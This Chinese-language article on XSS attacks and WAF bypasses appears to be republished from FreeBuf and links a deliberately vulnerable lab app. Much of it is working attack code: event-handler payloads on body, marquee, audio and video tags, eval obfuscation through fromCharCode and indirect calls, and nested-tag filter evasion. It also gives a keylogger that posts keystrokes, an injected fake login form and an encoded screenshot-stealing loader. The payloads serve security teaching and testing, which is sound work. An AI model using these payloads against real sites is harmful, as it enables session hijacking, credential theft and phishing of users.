隨著時(shí)間的推移,Web應(yīng)用漏洞的類型在不斷演變,但年復(fù)一年持續(xù)存在且影響廣泛的漏洞仍然還屬XSS漏洞。長(zhǎng)期以來(lái),XSS漏洞算是非常常見的安全問(wèn)題,以至于對(duì)大多數(shù)人來(lái)說(shuō),即使一個(gè)新的XSS漏洞被披露,但從內(nèi)心來(lái)說(shuō),早已習(xí)已為常。本文深入描述XSS攻擊在幾種實(shí)際環(huán)境中的應(yīng)用,同時(shí)順帶提到了一些XSS攻擊的繞過(guò)技術(shù)。
和我們能想到的一樣,預(yù)防是最好的治療方法,而且去嘗試和緩解一些意外的攻擊也不失為一種好的策略實(shí)踐。通常情況下,大多數(shù)組織機(jī)構(gòu)只會(huì)部署現(xiàn)成的WAF產(chǎn)品(網(wǎng)絡(luò)應(yīng)用防火墻),而不是制訂開發(fā)適合自身的緩解技術(shù),根本不會(huì)意識(shí)到那些結(jié)合自身的防護(hù)技術(shù)才是最恰當(dāng)最精準(zhǔn)的安全措施。
這樣一來(lái),攻擊者們?cè)跇?gòu)造代碼驗(yàn)證請(qǐng)求或?qū)嵤┐a審計(jì)之后,有WAF產(chǎn)品也沒用,攻防雙方就又形成了貓捉老鼠或是打地鼠的游戲格局了。
就通用的XSS filter來(lái)說(shuō),因?yàn)?lt;script>是引入JavaScript腳本執(zhí)行的原始方法,所以其中對(duì)<script> 和 </script> 配對(duì)標(biāo)簽的使用是完全禁止的。
如果一個(gè)攻擊者發(fā)現(xiàn)<script>標(biāo)簽被禁止之后,他可能會(huì)轉(zhuǎn)向?qū)で笃渌椒▉?lái)執(zhí)行JavaScript腳本,打地鼠游戲就開始了。
眾所周知,一種調(diào)用JavaScript的方法就是在元素類型上使用事件處理器(Event Handler),通常的一種方法類似:<img src=x onerror=alert('xss') />,這是一種使用無(wú)效src屬性來(lái)觸發(fā) onerror 事件處理器(onerror event handler)的方法,當(dāng)然,其中包含了一個(gè)alert跳出框的xss payload,如下alert(1):
由于過(guò)度使用img標(biāo)簽和onerror事件處理器,它們經(jīng)常被列入XSS過(guò)濾黑名單,但除此之外還有其它形式的XSS攻擊向量。雖然所有可能的XSS攻擊向量標(biāo)簽列表無(wú)法一時(shí)列出,但其中幾種非常有必要在此談?wù)劇?/span>
由于這種攻擊方法向量,在給定頁(yè)面中只有一個(gè)body標(biāo)簽,有些人可能認(rèn)為它不起作用,但實(shí)際上,所有瀏覽器都會(huì)把它當(dāng)事件處理器(Event Handler)來(lái)執(zhí)行。在這里,可以在onpageshow事件中用提交body元素的方法,形成XSS Payload,當(dāng)其中的body元素被解析后就會(huì)觸發(fā)Payload。示例如下:
<body onpageshow=alert(1)>
盡管onload事件總會(huì)被識(shí)別為危險(xiǎn)動(dòng)作,但另外來(lái)說(shuō),它也可以和style標(biāo)簽組合來(lái)用,雖然這種場(chǎng)景并不多見。示例如下:
<style onload=alert(1) />
Marquee 標(biāo)簽除了在web開發(fā)中有標(biāo)簽內(nèi)容回滾作用之外,它還支持一系列的事件處理程序,因此可以用它來(lái)實(shí)現(xiàn)XSS Payload觸發(fā)。Marquee支持的一系列事件處理程序如下:
onbounce事件:是在<marquee>標(biāo)簽中的內(nèi)容滾動(dòng)到上下或左右邊界時(shí)觸發(fā)的事件處理程序,該事件只有在<marquee>標(biāo)簽的behavior屬性設(shè)為alternate時(shí)才有效;
onfinish事件:當(dāng) marquee 完成 loop 屬性設(shè)置的值時(shí)觸發(fā)。它只能在 loop 屬性設(shè)置為大于 0 的某個(gè)數(shù)字時(shí)觸發(fā);
onstart事件: 當(dāng) marquee 標(biāo)簽內(nèi)容開始滾動(dòng)時(shí)觸發(fā)。
結(jié)合此,加入XSS Payload的示例如下:
<marquee behavior='alternate' onstart=alert(1)>hack the planet</marquee><marquee loop='1' onfinish=alert(1)>hack the planet</marquee><marquee onstart=alert(1)>hack the planet</marquee>
可能這種利用音視頻標(biāo)簽來(lái)加載XSS Payload的方法很少見,實(shí)際來(lái)說(shuō),音視頻標(biāo)簽中確實(shí)有幾種事件處理程序不會(huì)輕易被列入黑名單行列,尤其是以下幾種:
oncanplay: 在用戶可以開始播放音視頻(audio/video)時(shí)觸發(fā);
ondurationchange: 在音視頻(audio/video)的時(shí)長(zhǎng)發(fā)生變化時(shí)觸發(fā);
onended: 在音視頻(audio/video)播放結(jié)束時(shí)觸發(fā);
onloadeddata: 在音視頻數(shù)據(jù)幀加載時(shí)觸發(fā),也即在當(dāng)前幀的數(shù)據(jù)加載完成且還沒有足夠的數(shù)據(jù)播放音視頻(audio/video)的下一幀時(shí)觸發(fā);
onloadedmetadata: 在指定音視頻(audio/video)的元數(shù)據(jù)(如分辨率和時(shí)長(zhǎng))加載后觸發(fā);
onloadstart: 在瀏覽器開始尋找指定音視頻(audio/video)時(shí)觸發(fā);
onprogress: 瀏覽器下載指定的音視頻(audio/video)時(shí)觸發(fā);
onsuspend: 在瀏覽器讀取音視頻(audio/video)數(shù)據(jù)中止時(shí)觸發(fā)。
結(jié)合以上事件,加入XSS Payload的示例如下:
<audio oncanplay=alert(1) src='/media/hack-the-planet.mp3' /><audio ondurationchange=alert(1) src='/media/hack-the-planet.mp3' /><audio autoplay=true onended=alert(1) src='/media/hack-the-planet.mp3' /><audio onloadeddata=alert(1) src='/media/hack-the-planet.mp3' /><audio onloadedmetadata=alert(1) src='/media/hack-the-planet.mp3' /><audio onloadstart=alert(1) src='/media/hack-the-planet.mp3' /><audio onprogress=alert(1) src='/media/hack-the-planet.mp3' /><audio onsuspend=alert(1) src='/media/hack-the-planet.mp3' /><video oncanplay=alert(1) src='/media/hack-the-planet.mp4' /><video ondurationchange=alert(1) src='/media/hack-the-planet.mp4' /><video autoplay=true onended=alert(1) src='/media/hack-the-planet.mp4' /><video onloadeddata=alert(1) src='/media/hack-the-planet.mp4' /><video onloadedmetadata=alert(1) src='/media/hack-the-planet.mp4' /><video onloadstart=alert(1) src='/media/hack-the-planet.mp4' /><video onprogress=alert(1) src='/media/hack-the-planet.mp4' /><video onsuspend=alert(1) src='/media/hack-the-planet.mp4' />
正如很多殺毒軟件的模式匹配規(guī)則一樣,只要某種行為動(dòng)作和其內(nèi)置的規(guī)則相匹配,則該動(dòng)作就會(huì)被馬上列入黑名單中禁止執(zhí)行。
在有些場(chǎng)景下,我們發(fā)現(xiàn)與JavaScript代碼同義的各種動(dòng)作都會(huì)被目標(biāo)防護(hù)軟件列入黑名單,甚至是使用正常的alert也不例外。在此,有幾種方法可以繞過(guò)這些模式匹配規(guī)則。
如果目標(biāo)系統(tǒng)的WAF或其它防護(hù)軟件沒把 /(eval|replace)\(.+?\)/i 這種樣式列入黑名單,那么我們可以在其中通過(guò)夾雜冗余符號(hào)的方式形成Payload,利用其中的eval動(dòng)作來(lái)加載Payload,再利用之后的replace動(dòng)作把冗余符號(hào)進(jìn)行替換刪除。
就比如,eval('alert(1)') 等同于 alert(1) ,傳入eval的字符串行為會(huì)被解釋執(zhí)行,如果我們按照常規(guī)方式來(lái)構(gòu)造,肯定會(huì)被目標(biāo)系統(tǒng)中的WAF類產(chǎn)品識(shí)別阻擋。
所以,在此,我們可以通過(guò)eval和replace事件的組合利用,先在其中加入一些冗余符號(hào)來(lái)進(jìn)行混淆,再進(jìn)行替換刪除,最終繞過(guò)WAF規(guī)則,形成我們想要達(dá)到的Payload。示例如下:
eval('~a~le~rt~~(~~1~~)~'.replace(/~/g, ''))
圍繞引號(hào)轉(zhuǎn)義來(lái)做文章
當(dāng)引號(hào)被轉(zhuǎn)義(escape)之后,不管使用了什么繞過(guò)技術(shù),肯定會(huì)引起問(wèn)題,就像上面的eval('~a~le~rt~~(~~1~~)~'.replace(/~/g, ''))一樣,如果要順帶把引號(hào)轉(zhuǎn)義,其Payload可能如下:
eval(\'~a~le~rt~~(~~1~~)~\'.replace(/~/g, \'\'))
但另一種變換方法就是利用正則表達(dá)式來(lái)避免帶入引號(hào)的使用,如可以在上述Payload中引入正斜杠方式,然后再用創(chuàng)建的正則表達(dá)式對(duì)象屬性來(lái)訪問(wèn)其中的閉合字符串。示例如下:
eval(/~a~le~rt~~(~~1~~)~/.source.replace(/~/g, new String()))
以此用new String()來(lái)實(shí)現(xiàn)把~轉(zhuǎn)換為空字符串的目的,從而不需要用到引號(hào)。
對(duì)引號(hào)實(shí)行轉(zhuǎn)義并繞過(guò)WAF類產(chǎn)品模式匹配規(guī)則的一個(gè)有效手段是使用eval的String.fromCharCode方法,該方法將獲取一個(gè)或多個(gè)十進(jìn)制Unicode值,然后將它們轉(zhuǎn)換成等效的ASCII字符,并將它們連成一個(gè)字符串,如:
console.log(String.fromCharCode(65,66,67,68)) //在終端返回顯示的是字符串 'ABCD'
通過(guò)這種對(duì)Unicode值的轉(zhuǎn)換,可以把目標(biāo)值傳遞給eval,因此,可以構(gòu)造Payload如下:
eval(String.fromCharCode(97,108,101,114,116,40,49,41)) //// 最終執(zhí)行的會(huì)是 alert(1)
上面的例子有些是圍繞eval的使用而不是過(guò)濾來(lái)談的,由于eval是一種大家熟知的危險(xiǎn)方法,所以經(jīng)常會(huì)看到/eval(.+?)/i這樣的過(guò)濾方式。
相應(yīng)的,我們也可以采取其它方法來(lái)規(guī)避過(guò)濾。由于函數(shù)可以存儲(chǔ)在JavaScript的變量中,所以為了不直接調(diào)用eval,我們可以把它分配給一個(gè)變量,然后間接調(diào)用它,示例如下:
var x = eval; x('alert(1)')
另外一種間接調(diào)用eval的方法是用括號(hào)進(jìn)行構(gòu)造,即用括號(hào)間接調(diào)用法,如表達(dá)式(1,2,3,4)返回的是4,即括號(hào)中最后一個(gè),所以(1,eval)返回的是函數(shù)eval,具體示例如下:
(eval) // 返回函數(shù)eval (1, eval) // 仍然返回函數(shù)eval
因此可以構(gòu)造以下Payload來(lái)執(zhí)行:
(1, eval)('alert(1)') // 返回 alert(1)
基于此,也可以使用call方法來(lái)直接調(diào)用,如下:
eval.call(null, 'alert(1)') //返回 alert(1)
其次,可以定義一個(gè)新函數(shù)的方法來(lái)規(guī)避直接對(duì)eval的調(diào)用,當(dāng)然這種方法還會(huì)涉及到一些語(yǔ)法定義,如下:
function hackThePlanet () { alert(1)}
最后,還可以用創(chuàng)建Function對(duì)象的方式來(lái)實(shí)現(xiàn)alert調(diào)用,該對(duì)象接受構(gòu)造函數(shù)中的字符串作為函數(shù)實(shí)現(xiàn),如下:
new Function('alert(1)')()
如果用戶輸入內(nèi)容看似危險(xiǎn),那么就需要對(duì)其輸入和響應(yīng)進(jìn)行一些過(guò)濾,最好的方法就是只顯示出一些通用性錯(cuò)誤或是直接拒絕用戶的整個(gè)請(qǐng)求。
不管怎么說(shuō),這種定制化的緩解防護(hù)策略也很常見,但就像上述我們提到的各種繞過(guò)技術(shù)一樣,如果我們充分了解了目標(biāo)系統(tǒng)的輸入過(guò)濾機(jī)制,那么,也可以利用這種過(guò)濾機(jī)制,以其人之道還治其人之身,最終構(gòu)造出我們的有效Payload。
刪除不安全危險(xiǎn)數(shù)據(jù)的最常見方法之一可能就是把它直接刪除,一些過(guò)濾器只會(huì)簡(jiǎn)單地認(rèn)為,危險(xiǎn)數(shù)據(jù)刪除了就安全了。
這種刪除機(jī)制除非是遞歸方法執(zhí)行,否則,它也會(huì)自己把自己玩死。就像如果<script>和</script>標(biāo)簽對(duì)會(huì)被過(guò)濾器轉(zhuǎn)換為空字符串,那么,把它們組合構(gòu)造夾雜放入一條javascript中,最終只有<script>和 </script>標(biāo)簽對(duì)被刪除了,其它剩下的就又形成了新的組合方式,示例如下:
<sc<script>ript>alert(1)</sc</script>ript>
上述javascript中,如果過(guò)濾器只是簡(jiǎn)單地把標(biāo)簽對(duì)刪除了,那么最終會(huì)剩下:
<script>alert(1)</script>
完美,這就是我們想要的。同樣的方法可以應(yīng)用到一些標(biāo)簽屬性或事件處理程序中,就像如果onerror是刪除目標(biāo),那么,我們可以構(gòu)造以下Payload:
<img src=x ononerrorerror=alert(1) />
最終刪除后剩下的結(jié)果為:
<img src=x onerror=alert(1) />
當(dāng)一些不安全的樣式被替換而不是被刪除之后,目標(biāo)系統(tǒng)過(guò)濾器要識(shí)別它們,可能就有一些麻煩了。根據(jù)不同的過(guò)濾器規(guī)則,可以使用替換方式來(lái)構(gòu)造我們最終想要的Payload。
就比如,如果目標(biāo)系統(tǒng)的過(guò)濾器會(huì)把<script></script>標(biāo)簽對(duì)都過(guò)濾替換為NAUGHTY_HACKER字段,那么,我們提交<script>alert(1)</script> 之后的結(jié)果就會(huì)是NAUGHTY_HACKERalert(1)NAUGHTY_HACKER。
但如果我們把<script>標(biāo)簽對(duì)的聲明改為<script script>> 和 </script /script>>這種嵌套式樣式后,那么參照替換為NAUGHTY_HACKER字段的規(guī)則,對(duì)于<script>alert(1)</script>來(lái)說(shuō),目標(biāo)過(guò)濾器會(huì)把它過(guò)濾為:
<script NAUGHTY_HACKER>alert(1)</script NAUGHTY_HACKER>
在開始標(biāo)簽script NAUGHTY_HACKER>中,瀏覽器會(huì)把NAUGHTY_HACKER默認(rèn)解析為一個(gè)不帶值的屬性,就像input中的autofocus屬性一樣。在閉合標(biāo)簽</script NAUGHTY_HACKER>中,雖然技術(shù)上屬于無(wú)效,但最終卻能正確解析。因?yàn)闉g覽器在某種程度上為了減少錯(cuò)誤,雖然能識(shí)別到這個(gè)附加屬性,但會(huì)簡(jiǎn)單地把它忽視掉。最終在瀏覽器的檢查器效果如下:
一些XSS披露漏洞中簡(jiǎn)單的跳出彈框PoC證明,可能是導(dǎo)致XSS漏洞危害被認(rèn)知不足的一個(gè)原因吧,盡管XSS調(diào)用alert形式的彈框能證明漏洞的存在,但卻不能很好地證明XSS漏洞的實(shí)際威力和影響。所以,XSS漏洞導(dǎo)致的JavaScript執(zhí)行到底會(huì)有多嚴(yán)重,讓我們產(chǎn)生無(wú)限遐想。在此就分享兩個(gè)案例。
會(huì)話Cookie劫持可能是XSS攻擊中對(duì)目標(biāo)系統(tǒng)或用戶的最大潛在威脅,因?yàn)檫@通常會(huì)導(dǎo)致目標(biāo)用戶的會(huì)話被攻擊者完全操縱利用。
越來(lái)越多的人熟知會(huì)話劫持的風(fēng)險(xiǎn),因此,后期在會(huì)話信息中加入了HttpOnly標(biāo)志,來(lái)避免JavaScript讀取Cookie,這應(yīng)該算是一個(gè)大的改進(jìn)了,但實(shí)際來(lái)說(shuō),劫持賬戶也并不只有Cookie劫持一種方法。
有很多事件程序可以和JavaScript關(guān)聯(lián)起來(lái),其中一個(gè)就是 keypress 按鍵事件(你能看到該事件背后會(huì)發(fā)生什么嗎?)。通過(guò)在keypress事件的document調(diào)用方法中添加回調(diào)函數(shù)Callback,在用戶點(diǎn)擊、按下或選中觸發(fā)回調(diào),以此來(lái)截取用戶的按鍵信息。
通過(guò)這種操作,攻擊者可以有效地將鍵盤記錄器植入用戶瀏覽器中,實(shí)現(xiàn)按鍵監(jiān)聽,竊取用戶密碼憑據(jù)相關(guān)的按鍵信息。如下視頻:
document.addEventListener('keypress', function (event) { var xhr = new XMLHttpRequest() xhr.open('POST', '/keylogger') xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded') xhr.send('data=' + event.key)})
雖然上述XSS構(gòu)造的鍵盤記錄器能正常起效,但如果不被目標(biāo)用戶信任,迷惑不了目標(biāo)用戶執(zhí)行輸入,那么,這種攻擊最后也會(huì)無(wú)效。
我們可以對(duì)上述鍵盤記錄器PoC稍作修改,可以修改執(zhí)行時(shí)的DOM,用包含登錄頁(yè)面的body內(nèi)容進(jìn)行替換。這樣一來(lái),可以把任意標(biāo)記內(nèi)容都分配給document.body.innerHTML作為屬性,如下:
var dummyFormHtml = 'We\'ve had reports of bad guys trying to do wrong by ' + 'our users lately - help us, help you, by logging in ' + 'again to confirm your identity<br><input type='text' />' + '<br><input type='password' /><br><input type='submit' value='Login' />'document.body.innerHTML = dummyFormHtmldocument.addEventListener('keypress', function (event) { var xhr = new XMLHttpRequest() xhr.open('POST', '/keylogger') xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded') xhr.send('data=' + event.key)})
這樣,頁(yè)面的body內(nèi)容將會(huì)形成一個(gè)迷惑性的登錄框,誘使用戶輸入密碼憑據(jù)等敏感信息。如下:
雖然這只是個(gè)簡(jiǎn)單的示例,但是基于此,攻擊者可以創(chuàng)建和網(wǎng)站登錄頁(yè)面一模一樣的釣魚頁(yè)面,以假亂真,形成有效攻擊。畢竟,大部份受害者只要看到正確的域名,就不會(huì)對(duì)登錄頁(yè)面產(chǎn)生太多質(zhì)疑。
DOM 形式的這種操縱利用遠(yuǎn)不止于此,另外,它還可以用來(lái)構(gòu)造復(fù)雜的社工攻擊。比如,可以被構(gòu)造用來(lái)向用戶發(fā)送提示通知,告訴用戶需要通過(guò)某個(gè)號(hào)碼去聯(lián)系客戶支持部門,如果這種提示顯示在和用戶訪問(wèn)的目標(biāo)網(wǎng)站相同的域名上,那么其可信度就相當(dāng)高了,只要用戶撥通所謂的客戶部門電話,個(gè)人敏感信息就會(huì)被攻擊者輕易獲得。
如今,隨著現(xiàn)代瀏覽器功能特性的不斷發(fā)展更新,XSS Payload的構(gòu)造方式也不斷升級(jí),利用新的瀏覽器功能特性,攻擊者甚至可以竊取到用戶當(dāng)前瀏覽器視圖的截圖信息。
html2canvas 能夠?qū)崿F(xiàn)在用戶瀏覽器端直接對(duì)整個(gè)或部分頁(yè)面進(jìn)行截屏,利用這一功能,攻擊者用6行JavaScript代碼就能竊取受害者瀏覽器視圖截圖,并回傳到控制服務(wù)器。代碼示例如下:
html2canvas(document.querySelector('body')).then(canvas => { var xhr = new XMLHttpRequest() xhr.open('POST', '/screenshot') xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded') xhr.send('data=' + encodeURIComponent(canvas.toDataURL()))});
結(jié)合上述代碼,構(gòu)造以下Payload提交到測(cè)試的目標(biāo)用戶應(yīng)用中,之后,就會(huì)生成一張包含目標(biāo)用戶使用信息的截圖圖片,而且該圖片會(huì)被回傳至攻擊者控制服務(wù)器中。
<img src='/media/hack-the-planet.jpg' onload=eval(String.fromCharCode(115,101,116,84,105,109,101,111,117,116,40,102,117,110,99,116,105,111,110,40,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,97,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,97,46,115,101,116,65,116,116,114,105,98,117,116,101,40,39,115,114,99,39,44,39,47,115,99,114,105,112,116,115,47,115,99,114,101,101,110,115,104,111,116,46,106,115,39,41,59,100,46,104,101,97,100,46,97,112,112,101,110,100,67,104,105,108,100,40,97,41,59,125,44,49,48,48,48,41)) />
上述代碼中的十進(jìn)制數(shù)編碼對(duì)應(yīng)的就是以下函數(shù)方法:
setTimeout(function() { var d = document; var a = d.createElement('script'); a.setAttribute('src','/scripts/screenshot.js'); d.head.appendChild(a);}, 1000)
setTimeout()方法用于在指定的毫秒數(shù)后調(diào)用函數(shù),這里調(diào)用了setTimeout原因是為了確保圖像顯示在屏幕上以供驗(yàn)證說(shuō)明。
雖然上述Payload是將截圖發(fā)送到和目標(biāo)Web應(yīng)用相同的服務(wù)器中,但在實(shí)際環(huán)境中,完全可以把截圖發(fā)送到攻擊者控制的遠(yuǎn)程外部服務(wù)器中去。
Payload一旦執(zhí)行后,一個(gè)名為screenshot.png的截圖文件就會(huì)出現(xiàn)在Node.js應(yīng)用中,該截圖包含了網(wǎng)頁(yè)內(nèi)容,如下:
如果你想實(shí)際動(dòng)手測(cè)試這篇文章中提到基于Node.js的Web應(yīng)用實(shí)例,把玩其中的鍵盤記錄器或?yàn)g覽器截圖程序,請(qǐng)參考我們的GitHub頁(yè)面:https://github.com/DigitalInterruption/vulnerable-xss-app
來(lái)源:FreeBuff
聯(lián)系客服